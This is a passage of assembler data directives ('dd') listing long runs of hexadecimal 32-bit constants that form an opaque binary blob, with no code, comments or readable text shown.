0C217204Ch, 0AF008E6Dh, 0B47CC681h, 1CCA4D0Ch, 0B8B77842h dd 7259B2C0h, 76390062h, 40558D2Ch, 1425B1FBh, 0BC282424h dd 0F3694860h, 11E3FB23h, 7062007Eh, 0DC4A4C69h, 9F190004h dd 0A227F03Fh, 710A49FDh, 948260F8h, 4605A713h, 14CCD6C8h dd 41E50809h, 8BC4A6FBh, 0E501E640h, 8700A02Dh, 2E5CB1C7h dd 15B029Ah, 235756B4h, 307F3475h, 0B640FCB8h, 0F1BC611Ah dd 0CC6836F5h, 0C200AB95h, 0C4230637h, 95F6D99h, 0FBB1CD8Bh dd 0F4805012h, 0AF4C1EBEh, 0F0D4A013h, 0B8B15047h, 0B0E02898h dd 2724674h, 0FB47E5F3h, 107531F6h, 0B8E50AECh, 3D6D2CA6h dd 915E08A4h, 70461428h, 0CB65CA02h, 1CB7BEh, 0CB6372FBh dd 5DC32F80h, 2C0133Eh, 2B45B6C6h, 77B4B0E4h, 18BA2D01h dd 299AC4E0h, 0F95EB10Fh, 0B0888959h, 2062D3C0h, 7C849050h dd 0B8C20108h, 0B6C540B4h, 0EF04E852h, 75C8F8BDh, 8C01B888h dd 0C108CE7Bh, 64571F37h, 0B6E24086h, 0E37B78h, 107AF824h dd 3AF4C0CDh, 5B51F614h, 64428Ch, 0D02FC4E3h, 49837731h dd 0F07F3835h, 37560F52h, 0EB008EC1h, 48C3F20Ch, 5ACEFD04h dd 6CD8D1F3h, 74AFBD1Ah, 0E3234C0h, 6639FF4Bh, 6580537h dd 0A442217Ch, 0B21C22D2h, 0C7386284h, 608B44F0h, 388FD8A1h dd 0E7A7952h, 0A0FB21ABh, 9B58468Ch, 0D9EC50E9h, 2A00CE93h dd 692B0CD1h, 0BE5C4Bh, 0F70FC66Ah, 0EEE14CC8h, 0B700AC9Bh dd 34CC6B40h, 1E1B1E58h, 7BD0A8D4h, 0B6EF03Ch, 33ABC20Ch dd 0DB82F0F1h, 94959062h, 44C8A7F4h, 6A3A6074h, 41B80272h dd 505C6EC6h, 5F329481h, 54C83039h, 0B4C704EFh, 6C55AEC2h dd 187660A8h, 0B0871F26h, 0DBD61E05h, 0EC8E6E99h, 0E0CF8C88h dd 0A00C343Ch, 904D6279h, 6CCEC51Ah, 4B13A00h, 0BF60D5A3h dd 3980A6B0h, 0CD838C02h, 9D246ADAh, 37D43040h, 14C63E40h dd 6070B26Dh, 8C046588h, 9481B933h, 9A0084F0h, 0A104C116h dd 25FE3AE2h, 353C50B0h, 16F4A0E7h, 23F42F98h, 0B9390385h dd 9B906BB7h, 94F26A7Bh, 0B1912C94h, 0A34ABD80h, 0BF4093D0h dd 320716ECh, 1894278Ch, 360E3583h, 0BB181C79h, 0F2AD17E0h dd 3D171034h, 87E8044Ch, 0DB5C0E8Ch, 7BEB5634h, 84362091h dd 0C1FE3561h, 28659CA0h, 0CB06FDDh, 3622577Ch, 0E8CB970h dd 0FB10694Bh, 4065E290h, 3E4FA900h, 20C855B0h, 0E01DE450h dd 222031B1h, 7F66E8h, 9409073Ch, 228014Ch, 5022E0B2h dd 3F6A10F8h, 973CCA83h, 807F1144h, 6B3E0FECh, 0B8FF0787h dd 0E1020AA1h, 848091F6h, 0A868E781h, 8C060488h, 0CC11CB7Bh dd 8988C737h, 83B3FD8Bh, 0D16C54AFh, 0E5602615h, 0B42A0FF2h dd 0DB6CB0C0h, 1024558h, 6E322279h, 9F704824h, 805F04FEh dd 13B5E8C2h, 8B84C0CFh, 86107E7Ah, 0A483B87Ah, 4F4D01ECh dd 9BCA1972h, 0A7D1E791h, 8EDCE0C2h, 55533207h, 759E469h dd 7784BD4h, 0C3AB7D48h, 0C0A0D4BFh, 0A0EB727h, 0C15E4786h dd 0FF561B24h, 21C30898h, 860312A0h, 0BC9D225Ah, 734023DEh dd 49860801h, 0D018175Eh, 109288h, 0F3635D86h, 8052E16Bh dd 0D0F23700h, 22566102h, 103B602Ch, 0F0DE590Ch, 94B58301h dd 1BD8FDD7h, 7480ED3h, 762F6E8Dh, 9EC4DFE1h, 6089893h dd 0FE855D21h, 0CFA0123h, 5B179BB4h, 52D1F0B6h, 5AF230E5h dd 64084000h, 0D272C1C2h, 0A76F4h, 0FD4687AEh, 0BAAA2FF7h dd 0AD1FA101h, 40DE2128h, 30861BF9h, 0D1431EF9h, 0FF3DBE7Ch dd 3F00FCF6h, 95662EDDh, 3C448EFEh, 0D08199BBh, 4C5A74C2h dd 38D8813Dh, 0D3D5B693h, 46D795F0h, 6E8C02FEh, 1C8B766Dh dd 6E845C01h, 9DB3CCEFh, 371A4FCh, 4A1DFE46h, 60003A7Ch dd 5D188B0Bh, 9E48DFh, 0D8ECAE14h, 28730CCCh, 0C0250607h dd 0C0CCFF31h, 6ACB00D7h, 544489DCh, 2C37D2FBh, 215C0804h dd 0DC730001h, 0D53514B7h, 0C20372C8h, 0CF485E30h, 66F800F3h dd 0C683527Ah, 60C8D0EFh, 8167C42Eh, 487C4442h, 0EC88D630h dd 0AEDC006Fh, 19742F28h, 8F05B067h, 5A3F505Eh, 0E45B80Fh dd 0A23187D3h, 5C81BC7Ah, 8BA1F991h, 0D6213A8Ch, 5018DC19h dd 62385523h, 0ABE71E8h, 0C5CEEA45h, 0BAD702FCh, 0A8A03143h dd 0BFF059F6h, 3DA39CA0h, 0B70090DFh, 0DF13894Ch, 5C68060Bh dd 58BECFF4h, 19674B40h, 0F1072A9Ch, 0BA9891ABh, 32132E00h dd 9571B990h, 0B02A9B06h, 0F029F218h, 50BC88CEh, 0A0EF1F28h dd 8AEA3D0Ch, 1A20A0E1h, 18ED7F40h, 0E838902Ch, 0BC00EF7Eh dd 2D9557C3h, 0CEBF1311h, 18906F50h, 7F31BEFFh, 996C3FACh dd 43A09D9Ch, 7E06FEAAh, 0E38F13B8h, 0F1C9FB03h, 39C638C7h dd 8D02BD61h, 0D65D8B44h, 52E05840h, 0B91B7036h, 32EC8159h dd 0DC086B18h, 0C45C448Ah, 74005CD5h, 421941DCh, 754501FFh dd 5D2AA75Fh, 0D49C4CC2h, 0FD2C828Ah, 86CE0h, 417E26BEh dd 21F4BB6Dh, 0B4AD3F00h, 0F2E9BDE8h, 0D898A0B8h, 0F1432070h dd 2BE56200h, 0AFA1BB63h, 5E20C1F6h, 7EC4F70h, 685CAE20h dd 0E4565063h, 1C1B4958h, 0C82A7404h, 92D09726h, 8480BC35h dd 155C4254h, 5431FE80h, 746A5875h, 0BA0609F8h, 282020BBh dd 386C2276h, 6AB34480h, 0D904969h, 80181E04h, 5AE2AEC8h dd 0C3C4BF70h, 91E9E051h, 0EF10ADA0h, 0F0941201h, 73784550h dd 26A424D4h, 38246DFCh, 0BC67916Eh, 81A9F4A1h, 0B9FF80h dd 15D6CD7h, 0E82248FDh, 60F5DBB2h, 9D0F3C7Bh, 0A5BE2EB1h dd 870EFC23h, 2187C167h, 8830B7BDh, 0CF122809h, 6741EA4h dd 0D671C4FBh, 50D801ACh, 9C415817h, 5C429E31h, 9F3C87FEh dd 0EAA17E0h, 0C9100059h, 96E4425h, 13E29B5Eh, 2756B702h dd 48C4A385h, 45203Ch dd 32B81514h, 5B3FBFB3h, 212C08CCh, 1C14EAFEh, 0C121B295h dd 0B55CAD87h, 7F488CBAh, 7F25792Bh, 545092C5h, 0A4A7C43Fh dd 28700568h, 402FB441h, 0E96043CCh, 40B3C2D2h, 89A05980h dd 1227F95Ch, 422A4021h, 0AC4F4308h, 2A01209h, 41CB02B9h dd 0F7CCAA64h, 0BD89151h, 903E92Ch, 98081C62h, 801BD912h dd 616E7807h, 0F09B6B76h, 60000511h, 4E0A6E90h, 5B122E94h dd 180001EAh, 0BD816BEh, 0F8B040B7h, 71E95334h, 3ADE009h dd 78297984h, 5236FCF0h, 0FB1EDCBCh, 0A222E0F9h, 468606DFh dd 0D8D209BBh, 5EFE4818h, 0A831A351h, 380A58C0h, 7E07C832h dd 0E051B8EFh, 6D3A450Ch, 0D6A55D39h, 79185084h, 6C3AE20h dd 0B9B2AA78h, 760560DAh, 0F225E042h, 640F1095h, 80895ECh dd 481B682Ah, 0D8FC089Ch, 676E8E60h, 809B4376h, 0CE6E865Eh dd 0B9E250h, 2C9FC3B6h, 630EEAC9h, 74507263h, 0C703B99Bh dd 30C82020h, 0B7E93A46h, 0C2648A89h, 0B8D27DB8h, 34FC8401h dd 0ED741491h, 4E89E085h, 0C7AC21DEh, 154000EEh, 0EA460025h dd 30AAEF9Bh, 0AC4DD0A2h, 343F2814h, 0D30910B0h, 5AA6A4Dh dd 0BF102850h, 0DB9D11CCh, 1839C814h, 18B6BF2Ch, 0BD7B71C5h dd 75A1AF63h, 2E3102D2h, 0AD74464Eh, 18FB9C91h, 686E088Fh dd 4C49376h, 6E876740h, 0DA071AB1h, 113149FDh, 59E62D0h dd 9DBE0166h, 0D685E8F8h, 43045B5h, 18C96D1Ch, 6173FE11h dd 4A762010h, 18447588h, 0D60937A0h, 8E1C3348h, 0EE712320h dd 77D80CBBh, 67F13BA4h, 4E300E07h, 9550FA45h, 0B42F3DAh dd 62E9BCA9h, 2E76DCA0h, 0C71B27C8h, 0A9396340h, 0AC70C9E2h dd 0D2EF222Bh, 0F1C2BCA5h, 3BEF18D6h, 0BEB8E862h, 0C8BF0234h dd 838AB4A0h, 0E800F084h, 1DE74291h, 9FBCFh, 4117692Fh dd 453A922Eh, 473030B0h, 0BEAEE91Bh, 1633570h, 813C0210h dd 0C02244BAh, 57244145h, 75C72184h, 0A4A88852h, 0AA293967h dd 0A1EA33B3h, 0B444ED24h, 0CA8628C7h, 42BA1828h, 56415122h dd 97E8A203h, 0D0888A87h, 0C58EE7h, 3AFDC989h, 44A17007h dd 397B8F00h, 51E163C4h, 2318C018h, 147608BFh, 0FD5CC200h dd 6102A0A9h, 33772Ah, 43727583h, 1EACA17Bh, 2CAA6980h dd 2636676h, 0DC18E17h, 335F8B80h, 0DA1CEDF6h, 0C068F132h dd 94137000h, 0C43B8874h, 2EF9070Dh, 0A0763CC2h, 870868Ch dd 0FB562306h, 0A3486007h, 2D09E016h, 0FA367C35h, 932A1BD4h dd 0E06383Fh, 2C81FF46h, 99760120h, 0C1C9B138h, 147080C6h dd 67261B56h, 0CEF308BFh, 0AD023AE6h, 8063B744h, 0B2E98F80h dd 0A004609Fh, 972E58F6h, 73EE8C18h, 14023C20h, 2041723Bh dd 189AA1F1h, 35BC2A23h, 0E18938A4h, 0D901AB1h, 40BE3Bh dd 5EC8E97Ch, 30679478h, 9019C7ADh, 26549D69h, 851CC38Ch dd 0DA40945Ch, 9B8C9C8h, 0EC19003Fh, 0EEF96A4Ch, 0B6068882h dd 6E9E94ADh, 0F1F50C90h, 15701CD9h, 0CCC49D0h, 11179E47h dd 0F16D0234h, 105DAD29h, 98058E61h, 69213008h, 28F10075h dd 1DF2FA8Eh, 813AB695h, 42D200BBh, 613EE391h, 0C76D30C9h dd 0D4898C68h, 0C2E29202h, 803BFDE6h, 9A9F9C8h, 71149079h dd 2CE0F9C3h, 0BD10C112h, 0F414D3B6h, 48902636h, 3C735C03h dd 0E1E4CC4h, 0B413F6B9h, 9D854ECh, 3F99B618h, 8C1855E0h dd 0D8158C7Bh, 0E140D471h, 860810B0h, 4C470645h, 0C686086h dd 3C31E03Dh, 82002F60h, 0E9AF7BA7h, 50B7F18Eh, 3064F4C7h dd 0A660C0C3h, 2A796E31h, 2D4EB103h, 0E1BF0A55h, 68956B6Ch dd 0C31EECC1h, 983AD886h, 19C71351h, 380C997h, 7FB6FB2Eh dd 7520C61Dh, 1C74D814h, 73D47218h, 17C5611h, 68FD5B87h dd 98F53026h, 36216B09h, 1D870764h, 506D0270h, 0B3EB0F67h dd 26F6801Fh, 6028D94Ch, 41A71DC4h, 801214FFh, 46237604h dd 358954Eh, 30DA65E8h, 2D1C1100h, 3A8B68D7h, 0B3C61948h dd 801A0832h, 0D7257321h, 1E639AAh, 2982F4DBh, 1105B923h dd 0A1BF642Bh, 57746800h, 4A44F377h, 3AFA9D00h, 0B47EB516h dd 0BC524809h, 3C735F08h, 0B5A8670Eh, 896403A0h, 26E50D88h dd 9107179h, 0F80E68E3h, 338619E8h, 1D7197B7h, 291CA975h dd 0F10A18F8h, 2F00EDF5h, 72318A93h, 98EFB70Dh, 0AF100158h dd 0C76A9C3h, 69798F35h, 0DEBA20DBh, 7318688Ch, 2A5B0053h dd 16212BB1h, 4920625Ch, 9D6D4477h, 4C3849h, 83CFAA7Bh dd 0F0C7C5A4h, 0BDDD04D5h, 8027F968h, 0EBF27A35h, 587D4100h dd 0ACB9773Ch, 10B0D860h, 0C6600C25h, 0B35B2289h, 4FB9037Dh dd 70412852h, 212B0830h, 9B34301h, 44488F2h, 0D4965084h dd 7BE808B4h, 0F08117C5h, 0E8580A8Bh, 2F75881Fh, 5C60D700h dd 47381586h, 0A0E901D1h, 0B8131C48h, 4026319Eh, 9BD97724h dd 18803D48h, 8CC09C95h, 2446840Bh, 7EB35A02h, 353147B9h dd 0B3420017h, 55009622h, 8F0965B7h, 90D7DBF1h, 33740BB8h dd 400177E5h, 542C9E42h, 1E0780B0h, 8A064886h, 4423C05Ch dd 5DC21351h, 0C620042Ch, 6AFA007Fh, 986D242Eh, 5221E004h dd 58F7546Eh, 0FCCBCC0h, 0A6D40219h, 0F3D36716h, 8CE81061h dd 313F0DB1h, 22FA9Ah, 5B62931Eh, 268B9CF9h, 4A8CAD09h dd 0C038A37Dh, 8A390255h, 0C5A3F540h, 22697CC0h, 77044182h dd 87087F18h, 0C470FD58h, 81334B69h, 0BF1BABEAh, 24799CF0h dd 281E58CBh, 145F590Ch, 8A46B040h, 8315861h, 0B96405A7h dd 244A618Eh, 0C99827F4h, 19140B06h, 0E502CEEh, 2D0DB8F8h dd 2974A9FCh, 0B65132B0h, 0DF69B3Ah, 6FCBA0Fh, 40482FC4h dd 92A1F559h, 867B1E47h, 765C9BCh, 0B9FBD001h, 623C749Ch dd 74CD5600h, 2F265325h, 9C8A52B5h, 94723C3h, 0F40D7109h dd 0A8102829h, 31C8221Fh, 0AC17E9C3h, 0B7816E11h, 0F062BA5Dh dd 8798238Dh, 0A47CF0C8h, 0C1721830h, 7118A4C4h, 0A5417D2Bh dd 0C34B02A8h, 30A03D75h, 0F49DA8B2h, 0A89F3611h, 2DA529D0h dd 8F1740C4h, 18D42511h, 0B702274h, 4F718EBFh, 52228C11h dd 5D302F40h, 0B97311B3h, 802A88BFh, 0B2B3457Bh, 0A9248374h dd 8C01CC72h, 762F4264h, 0ECEBA461h, 0F18B3CC0h, 0FC1D5D05h dd 7820E44Ch, 1C05F0B0h, 29B9B6B8h, 3074C822h, 5D088772h dd 642598FDh, 7A405E6Fh, 7E2DAD87h, 0F30C15CCh, 0C601F816h dd 99E1315Ah, 1374292Ch, 842284C1h, 0D72C3066h, 228B6F16h dd 3D726C38h, 2601D724h, 0C5B4017Dh, 363420ABh, 30C98B88h dd 95681341h, 73060BEFh, 454C43A5h, 3C315D78h, 4035E612h dd 4BB1CD0Ch, 88AC374Eh, 7D1B899h, 45026818h, 36918CB7h dd 77EC4167h, 0C043BC52h, 0A15AFF64h, 230CE7F4h, 0B359048Ch dd 625FB97Fh, 9007272Eh, 1D7A0AB3h, 0E8F46F00h, 0B8FEA1B5h dd 3619288Eh, 252676DCh, 2C1842C1h, 2C10F168h, 56E075ADh dd 800F170h, 840DF360h, 9148E67h, 0CD832305h, 26468C14h dd 7CB34402h, 20C777B9h, 0B34C0200h, 2588EBFCh, 0B8098DE1h dd 64E6B402h, 0DA01ECE5h, 6DF18AD3h, 101C2034h, 1753059h dd 0C1849FB3h, 0E44249D4h, 0FBAC91DBh, 0D064F0E1h, 5D4C0569h dd 0C80754B9h, 1841A930h, 336B6842h, 0FD5C87A8h, 6C229046h dd 877B3F00h, 11C5033Eh, 7A850E3Dh, 0A8E02A41h, 9510546Bh dd 6FDE20Eh, 0EBFA2F64h, 0C51002BAh, 0A1730028h, 88C71FECh dd 2312B6D5h, 8544445h, 1231F989h, 0E18C9405h, 0B0810CD5h dd 0D91105A9h, 0C318002h dd 76341E2h, 3EFD0037h, 0EBA731F3h, 5505FFBAh, 359D402Ah dd 0E800BC54h, 0BF008C3Fh, 53C0D98Ah, 0A0EBA1FCh, 8012E0A4h dd 2933FF47h, 2276D84Dh, 2B2A6DC8h, 0A300987Ch, 0DDFA38F3h dd 4A879361h, 4D1C2894h, 6839DA89h, 0EADB6601h, 0FC192FD2h dd 0FF02D59Ch, 0E6264188h, 8E08E7Eh, 0D240607h, 0D7004131h dd 986EBA72h, 0E74850h, 0E8912188h, 0DA194257h, 0EB2B6F17h dd 0D43AF853h, 0AC036123h, 50B0D96h, 85B71171h, 9E80093Dh dd 710C04C8h, 3F48D900h, 752B9404h, 849500AAh, 795885DFh dd 6B0A1154h, 0F43099C9h, 15D07319h, 61A2AC15h, 0ED86BFD1h dd 30261064h, 0A8193A0Dh, 0BE09DD52h, 32DB123Bh, 7A50417Ch dd 0D7092818h, 45028B63h, 2080B920h, 6603C1D7h, 0DC3FF257h dd 3510811Ah, 69E4A1FDh, 3B72F441h, 942DD1F9h, 4578DC4Ch dd 36DC4338h, 1354C8F5h, 2210D540h, 8A3102D8h, 82D4A898h dd 22F60D01h, 0D0940744h, 0F742252Ch, 0A8460C6h, 2BC48727h dd 0CA36AB60h, 0ACAD3106h, 3A985B16h, 716AF30Dh, 0EE376018h dd 0C401355Eh, 0B37EF67Dh, 0B0C82604h, 13540101h, 29E13371h dd 108C6232h, 0D450476Ah, 972A4099h, 8403852Eh, 0C350C08h dd 9AF901D9h, 0D1C54401h, 6FC0384Bh, 0E147F0h, 25DA98ABh dd 0AFAEC926h, 68888133h, 8C513E38h, 3C099CDDh, 0B4022D01h dd 982017D9h, 0C3234C28h, 2BA3FB38h, 1320D858h, 70420144h dd 1CEE89Eh, 0F46EE777h, 9C2AD1F3h, 0A01FE030h, 0E494646Fh dd 0CBF9E120h, 940E2318h, 801639FFh, 0D4FBEF84h, 5CC8945Fh dd 0F8002D46h, 0D7F703CCh, 8A07671Bh, 0F556272Ch, 0A1F6C273h dd 2C6460D1h, 11A20253h, 0D5B03375h, 1082C44Ah, 720420E8h dd 243A3882h, 4FA48164h, 46143C19h, 0B2B103D8h, 0ADB68420h dd 8C32C4D0h, 0D3042672h, 48E61AD0h, 0FB614471h, 2C4CBCFCh dd 0F18E0AF6h, 883CD775h, 0E0A007ADh, 315D5E22h, 77202C02h dd 0C99B0218h, 0E0149E40h, 812065A8h, 0B9773E3Bh, 87B06DA6h dd 10DD66F0h, 19294EB2h, 218D8717h, 3171C422h, 0FD5AFC7Dh dd 91266021h, 65350262h, 828E0687h, 960DE8Ch, 4809F864h dd 8CE08Ah, 8352405Ah, 945A3802h, 0A6547783h, 2DE08A93h dd 242CC225h, 97A5C03Dh, 546B858h, 89F98A86h, 0ACE07494h dd 9271E867h, 0D128B114h, 78E91829h, 0CBD70136h, 8DF1F51Eh dd 0C13C6820h, 6F8E8CAFh, 0B9105432h, 461867D6h, 0FA2B0A48h dd 0E2C08388h, 11E6B532h, 90D1FB0Bh, 227C1C17h, 0B3025E46h dd 4B3E2C85h, 0FCEC8434h, 8C64CCCCh, 69D72E04h, 462328Bh dd 0D7267C20h, 0B031008Dh, 0EAFA9C24h, 6D16285Fh, 14C85E9Dh dd 6C048C46h, 55AD28F1h, 6A223162h, 4C2B0074h, 33287AB5h dd 0BA0CD640h, 0B0A6895Bh, 0FF0D8892h, 37392A61h, 4078FAB5h dd 0F9F18B0Ah, 7140A19Ch, 2E183Eh, 0CDC3BCCCh, 0F555DED5h dd 0C622FB0Bh, 0F13038F3h, 0A0DA8839h, 70C9B016h, 6114E882h dd 7B106508h, 344D10B9h, 66E812BCh, 3531F891h, 37D30D00h dd 0E533ACA0h, 9CB84Ch, 0E3958A53h, 78EE0A75h, 0D480C46Ah dd 7DA7450Bh, 3D202CE7h, 89187C90h, 0F1697FC7h, 0A13640A9h dd 0DC9DAC14h, 0A23D05A0h, 70E76A7Fh, 8A530520h, 0DF8E8420h dd 0C184BC60h, 98896139h, 2F2821E1h, 56C63395h, 90085398h dd 97EB432h, 6802253Ch, 5B016E3Eh, 0A840531Eh, 4FF9576h dd 5D0B0484h, 452092AAh, 0EEF16330h, 224D46ADh, 6B713Ah dd 96170BF1h, 64141B26h, 40B5B300h, 0E1E98AB6h, 1994B12Bh dd 605C815Eh, 3040648Ch, 748F3133h, 0E97ACFA9h, 708028B7h dd 0E0502B89h, 0E2BAB53Ch, 1A930047h, 0DB4C9F45h, 0C414AEABh dd 129C420Ch, 4422D77Dh, 0FC693143h, 7D43AD2Dh, 0F1715580h dd 8A01E39Bh, 0D15C9E86h, 48A58D88h, 18913C97h, 42ABDF81h dd 0FE43C0B2h, 8B13C505h, 0E89595F9h, 65F44487h, 689420E5h dd 6F805841h, 6DAD2BF1h, 5758C494h, 0A1F11777h, 0D7A300F9h dd 0F588B68Ch, 41F8ED00h, 86BF6FDBh, 0C38582Dh, 0D03D149Eh dd 76458803h, 780526A5h, 0F838BE8Ah, 72CEB0CCh, 59850053h dd 337405ADh, 349480FDh, 82DF2B40h, 0F45B02CBh, 4C61755Fh dd 0B40E882h, 67335800h, 0A9FF3FD3h, 393D0C98h, 0A100640Eh dd 4E988030h, 0FB72F8CEh, 8C72D8E5h, 0C7711Fh, 0B551E16Bh dd 0DD01171Eh, 7A8E074Ah, 22FCA1F8h, 2F60D773h, 6F23D4h dd 56CCD880h, 6AB0A389h, 145A327Bh, 0B89A7433h, 2B1DFDh dd 802A1AE3h, 222DE56h, 3455E500h, 0FA5B1BFBh, 0F83E4C58h dd 0AC2856B2h, 18606712h, 256ED72Bh, 0B8162A8Bh, 0D723710Eh dd 444B4056h, 17099EA9h, 4F53A81h, 0A3208B3Ch, 302FB27Ch dd 0E601B28Ch, 8F972319h, 0E231AF61h, 9D125C2Dh, 0D6284020h dd 0F634D895h, 0D27B840Fh, 4CBE34C7h, 1882200h, 0B964A089h dd 804315E6h, 760AF6F8h, 2F7B74Ch, 131A5CFCh, 70CF5A94h dd 0A2857DC0h, 8B0504A1h, 0C83149E1h, 59C07620h, 0CD31524h dd 3A4702A5h, 51DEFB64h, 0E441C66h, 0DBBD09BCh, 0F8E45CD8h dd 0B41F6920h, 0C25137A4h, 705641E9h, 3195E46h, 0EC9284B3h dd 801238EDh, 0D81471CEh, 4A10878h, 89690232h, 58D0F9C9h dd 0C81A905h, 0C88F49F1h, 0CC03BC8h, 9BA11AAh, 6870B953h dd 6764AC2Fh, 0F504E595h, 413219Eh, 1194CAC4h, 19095AF2h dd 2430CDBEh, 0F55E8F3Fh, 429D0C05h, 0C54C5448h, 84CC846Ah dd 38542202h, 0F1A05427h, 5CB4AD8Ch, 0A0C8A016h, 5CF09580h dd 13645172h, 270D244Ch, 0ED212004h, 8700299Ch, 0BCB42D23h dd 26633E7Dh, 4FE0C03Dh, 68C844ABh, 0AC00A4BCh, 0D21CCB40h dd 0A2770CBAh, 0F18C798Ch, 0B0C01836h, 0C5E110A0h, 0B4AF1316h dd 0A048FB13h, 7FB708F1h, 0FCD94582h, 0CEB08013h, 0C771F18Ah dd 57D095A9h, 8F171545h, 0C03F88A0h, 325D4A1Bh, 27BE3900h dd 44AF16A5h, 9053679Bh, 69758341h, 88B1FDB8h, 8988BEFFh dd 9817359Fh, 5E3186F0h, 6CF84858h, 2C45E641h, 0CA07808h dd 394119B6h, 2B4B7802h, 16C058CDh, 10AF713h, 0D1C7A224h dd 88742339h, 292580h, 5582C416h, 19004FB7h, 0F7951553h dd 0F3E8FF26h, 88710020h, 1B63E394h, 436FCB0h, 11FF1FF0h dd 0E89D0B4Dh, 19B3710h, 44E0D8ECh, 2EA967FCh, 23B8C445h dd 97837880h, 64950DF4h, 6CE1F654h, 8C60BC58h, 81C40303h dd 0E906FD5Bh, 50250BDAh, 239C5F0h, 2DCD7451h, 0B05A2ABEh dd 18A0FF00h, 0A29A6C8Eh, 7C63009Eh, 0E6B92C1h, 2C90EC20h dd 1C59C200h, 9E71917h, 32E8A430h, 41081095h, 62DE92E0h dd 591E5C30h, 60D966B6h, 285B810Ch, 0ED002659h, 0A70777B1h dd 0A8C85A6h, 68669C61h, 86D02EACh, 3903D974h, 6ED1A400h dd 2EE14AB9h, 2F7B0061h, 2FA4706h, 0D25C7FFh, 0E6F82BFEh dd 0CC5350CCh, 0C90340C8h, 138EB012h, 28052004h, 0F8501609h dd 19758504h, 8CB82587h, 44131505h, 5660B071h, 0BEEEFB02h dd 643869FEh, 3E062464h, 0AC01350h, 82E85264h, 5AC6BCADh dd 5F1F3464h, 74025926h, 48298EBFh, 4DA1FD70h, 24729840h dd 0AECA53Dh, 81C719Ah, 583E23A2h, 0F0024A8Dh, 705AA5BCh dd 0B4D11AECh, 0B0184015h, 8100CF21h, 26B17FF7h, 0B696FCh dd 0E8AEF84Fh, 67F3BEBCh, 90C0A12Ah, 0F226C912h, 0DBC81CCEh dd 0F4DB42FEh, 30A47885h, 0F1D64CAEh, 4F25CD13h, 0E1068180h dd 908021B5h, 54807C02h dd 33140037h, 7184B73Ch, 7A5843E6h, 398A09BCh, 0AD7C8668h dd 3E31D270h, 3A3D2384h, 55DBF380h, 86C35FEDh, 0ECA0297Eh dd 0AC1EFBF5h, 45493797h, 70098FCh, 0A9203835h, 7A8D328Bh dd 112B6C91h, 0AAF4470Eh, 40E5047Fh, 0D668A9FDh, 0F100C080h dd 743D5904h, 3B69C223h, 80D101C9h, 6782D839h, 0F0A21CA8h dd 7AB133h, 0F2838A0h, 22AC20BEh, 2436A43Ah, 23C4808h dd 1491FEBFh, 15405C69h, 0C9E65C02h, 0E3FB014Ah, 4AA06660h dd 3823082Fh, 3364AE03h, 98A1C6B4h, 0E2788304h, 7D5C8089h dd 8135D0A9h, 70AFF164h, 7CBA4270h, 0E9F9310Bh, 949427h dd 0DA94245Ch, 0EAAF28D5h, 0A9BF5202h, 64610440h, 64140014h dd 5BE02EFDh, 93F68FB3h, 0ECC9B026h, 3AD49025h, 0D168015h dd 39BBF1h, 0CA611D2Bh, 8AB46Ah, 0AC0E944Ch, 0A115B243h dd 80794418h, 55E90B88h, 0A878D431h, 583CA400h, 0CCA97533h dd 0DC92324Ah, 58052929h, 71888C74h, 0A4942458h, 290DD40Bh dd 0AF3CB3A0h, 242BDC2h, 4C62131Eh, 6C622048h, 0E2605E82h dd 42B2DB0h, 0DA491AD8h, 0D600005Ah, 0F8C9E390h, 7A4E0AFCh dd 0FFE0031h, 0F3C705EEh, 0DE255507h, 40C430h, 0AEA6AC53h dd 860656A9h, 0E6881750h, 0C0D8340h, 14D81FCFh, 0C94A8961h dd 370C1891h, 0E6868183h, 0E19884E2h, 400029B8h, 458A4BF1h dd 1268028Fh, 8D2D05F2h, 0AC092FF8h, 0C2D4A171h, 0A8552DE6h dd 0A084492h, 192518D4h, 8401D310h, 91D6B7B6h, 2025517Eh dd 1BF80828h, 0A979018Ch, 0EE0CD3CBh, 43B5708Dh, 66BC6151h dd 408A0018h, 0C282AB2Ah, 9182FF86h, 3360B145h, 73020845h dd 891A88B9h, 1645A60h, 76F8DE10h, 68CB189Dh, 683F3134h dd 7068C3CAh, 38C3DECh, 0E04B54D3h, 70113A08h, 950516BDh dd 0C18321CAh, 1728BF8h, 7860A789h, 2B7D40DAh, 4B782D4Dh dd 56877C9Bh, 0EF7FD2CBh, 4D84C60h, 28E6BD80h, 4881A2Bh dd 7F62E1B7h, 20E4D97Ch, 0A640F548h, 0CF880F8Ah, 3F42135Fh dd 4459AB66h, 37FD8E04h, 0F85834F4h, 60C89420h, 0B972B35Eh dd 48CBA74Bh, 0B3460400h, 686E230Dh, 1D906950h, 54204A41h dd 0BF604054h, 0D3662005h, 4C548EC2h, 596A10C4h, 3850F84Ch dd 3F664F37h, 758C7EACh, 30FA02A2h, 5EB54F83h, 8D422C7Eh dd 9880091Bh, 0D9284B2h, 9F68AB2Fh, 0FCAD11D0h, 8DE585ADh dd 748580C7h, 20D1BCA4h, 271D1B18h, 0CC2EA5FFh, 0F1A998B2h dd 181971DCh, 9FB803CFh, 84F333F0h, 228832A1h, 0D3670450h dd 84C253FEh, 4B72EC7h, 97B0A90Dh, 824C2544h, 8029C6B0h dd 0E9AF8E48h, 5CA49EA9h, 39B118E1h, 0E0A6F940h, 30BF83E0h dd 70A017FDh, 630AD26h, 3E02204Ch, 6F48866Eh, 38792918h dd 6CD72901h, 50331A8Bh, 0D7217780h, 0FF00A389h, 0FC8F17B2h dd 2C8EBE03h, 9EEC28BDh, 13C412E4h, 0F214A28Ch, 0B92B302Fh dd 0B2E4CF02h, 60414CEAh, 80887DD0h, 230E35FAh, 60266F8Eh dd 5F98961h, 49509237h, 0C43C94F2h, 73405E44h, 1B9502BCh dd 0A5F98B71h, 94A914CAh, 5F68E000h, 37B0C52Ch, 0D2C0009Dh dd 4D59AB2Bh, 33062C3Ch, 382DC9E9h, 65F86758h, 0F4ACC3E0h dd 0F607FC90h, 3CE1E03Ch, 0B249B481h, 0A5A84890h, 3EAC6CA8h dd 6D9E018Ch, 23D4AE84h, 0EDCC200Ch, 0D007C726h, 38E603F4h dd 9B8CECF7h, 2EB1B7A8h, 40047E82h, 5630BABFh, 0AF323F00h dd 6B92E50Ah, 7F9101DEh, 0CA07B423h, 68092EFDh, 893860D3h dd 1AF1FBBh, 0DCD94904h, 0FB169C70h, 5679B6h, 0B0C2D424h dd 9128DB46h, 10E84C6Eh, 5109C5B5h, 444833BEh, 0D98815FFh dd 0D50E41D0h, 2B398C10h, 3F366178h, 180AB86h, 6B7EEFEDh dd 0E60AD773h, 28AA519Dh, 0F5031791h, 0C5115DEEh, 4BB6BDE8h dd 586F483Eh, 